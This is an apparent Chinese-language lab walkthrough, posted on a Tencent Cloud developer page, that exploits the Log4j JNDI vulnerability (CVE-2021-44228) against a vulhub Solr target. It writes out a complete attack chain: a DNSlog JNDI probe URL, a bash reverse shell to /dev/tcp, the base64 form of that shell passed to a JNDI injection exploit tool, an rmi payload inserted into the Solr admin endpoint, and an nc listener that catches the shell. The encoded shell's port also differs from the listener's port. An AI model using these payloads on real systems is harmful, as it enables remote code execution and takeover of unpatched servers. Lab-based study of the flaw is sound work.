Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。
2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。
Apache Log4j 2.x <= 2.14.1
依托vulhub靶场搭建环境,漏洞启动目录:
/vulhub-master/log4j/CVE-2021-44228
启动命令:
docker-compose up -d
启动成功后访问地址:http://192.168.0.110:8983/solr/#/
IP换成你自己的靶机IP即可
搭建效果:
首先我们需要准备一台kali
工具用到的是大佬开发的exp
https://github.com/bkfish/Apache-Log4j-Learning/
这里我们直接下载到kali中也可以,工具具体目录在文件中的tools目录下
我们直接开始演示
先利用dnslog生成一个用于接收回参的网址(这个工具的作用就是在不知道或者无法查看回显时候利用第三方的平台查看回显,看看自己的命令是否被执行。)
然后我们对目标网站进行测试,访问网址:
http://192.168.0.110:8983/solr/admin/cores?action=${jndi:ldap://4wuy7v.dnslog.cn}
同样是换成你自己的IP和生成的dnslog值即可
我们等十秒点击第一个箭头处的刷新就可以看到回显,ok这里可以利用
我们继续下一步,进行nc的反弹shell
首先到kali中打开我们事先准备好的exp
解压后到tools目录下
构造payload:
bash -i >& /dev/tcp/192.168.0.106/6969 0>&1
这里IP是kali的IP,端口是你等会nc监听的端口
然后我们将这个加密为base64
直接使用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA2LzEyMzUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.106
这里红色处就是你加密之后的值,最后面的IP还是kali的IP,回车启动
这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限
我们使用第一个,再次构造一个payload
${jndi:rmi://192.168.0.106:1099/sm0syp}
到kali中开启nc
nc -lvvp 6969
然后我们将这个payload插入到action的后面
http://192.168.0.110:8983/solr/admin/cores?action=${jndi:rmi://192.168.0.106:1099/sm0syp}
回车直接访问
再次回到kali中我们可以看到nc成功反弹shell
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有